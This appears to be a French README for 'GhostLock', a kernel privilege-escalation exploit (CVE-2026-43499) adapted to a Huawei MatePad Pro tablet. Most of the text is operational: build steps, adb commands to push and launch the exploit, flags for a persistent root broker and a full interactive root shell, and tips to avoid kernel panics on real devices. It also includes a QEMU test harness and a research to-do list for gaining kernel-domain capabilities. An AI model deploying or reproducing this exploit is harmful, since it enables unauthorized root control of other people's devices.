GhostLock GOT-W29

Adaptation de l'élévation de privilèges CVE-2026-43499 pour HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, noyau 4.19.157-perf+).

État actuel :

• Route A terminée sur appareil réel : cred root privé légitime, SELinux maintenu à u:r:shell:s0
• Broker root persistant : @gl_su
• Shell root PTY complet : Ctrl-C, touches directionnelles et contrôle des tâches en arrière-plan fonctionnels
• La lecture arbitraire utilise une ctl_table random/uuid indépendante, sans modifier boot_id ni le nœud ashmem
• Validation du démarrage à froid de l'App réussie
• Route B (u:r:kernel:s0 + full caps) reste TODO

Le principe complet, les offsets, les modes d'échec et l'historique sont dans TECHNICAL.md.

Compilation

cd exploit/ghostlock-source
make -j3

Artefact :

exploit/ghostlock-source/build/bin/ghostlock_exe

La machine actuelle utilise la compilation croisée avec le sysroot NDK + clang hôte, voir exploit/ghostlock-source/TOOLCHAIN.md.

Lancement sur appareil réel

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

Lancer le broker de la route A :

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

En cas de succès, le journal contient :

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

Utilisation

Depuis un autre adb shell, exécuter :

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'votre commande'

Le shell root interactif doit utiliser -t :

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

broker attribue un véritable terminal de contrôle au shell, donc tty doit afficher /dev/pts/N, Ctrl-C, les touches fléchées, jobs et le passage entre premier plan et arrière-plan fonctionnent normalement.

Consignes de sécurité

• --fake-lock-window et --detach sont les paramètres clés pour une exécution sûre sur appareil réel.
• Ne pas utiliser --hold ; ne pas terminer directement avec kill -9 un worker ayant déjà consommé un waiter suspendu.
• Une tentative échouée peut déclencher un oops/panic ; sur appareil réel, conserver --attempts 1.
• Pour nettoyer un worker détaché, redémarrer l'appareil.
• --verify-write, --verify-read, --verify-all sont des autotests de la primitive d'écriture boot_id, ils corrompent les 8 octets de poids fort de boot_id et ne doivent être exécutés que sous QEMU ou en acceptant explicitement le risque.
• Ne pas utiliser --escalate à la place de la route A ; il est réservé à la recherche sur la route B et présente un risque sur le cycle de vie des cred.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

Les détails QEMU sont dans tools/qemu-test/README.md.

TODO route B

Objectif : obtenir u:r:kernel:s0 et toutes les capabilities.

À résoudre :

• Cycle de vie cred/security et récupération RCU
• exécution de programmes en espace utilisateur depuis le domaine kernel
• stratégie de bind socket / mount / accès aux fichiers dans le domaine kernel
• fork d'un processus enfant root et héritage du SID
• effets secondaires globaux éventuels de la correction permissive/SID

Paramètres principaux

--simple-root             élévation de privilèges route A
--su-server               démarrer le broker root
--rsh CMD                 exécuter une seule commande
--rsh-shell               shell interactif PTY complet
--fake-lock-window        utiliser un fake lock privé sur la pile (recommandé sur appareil réel)
--detach                  maintenir en vie de façon permanente le worker ayant consommé le waiter
--probe-cycle             mode de déclenchement EDEADLK stable sur le noyau actuel
--no-rt                   éviter que les waiters RT affament les CFS
--attempts 1              pas de nouvelle tentative après échec sur appareil réel
--log-file PATH           journal persistant
--fsync                   écriture du final-result sur disque

--help liste tous les paramètres d'autotest et de recherche.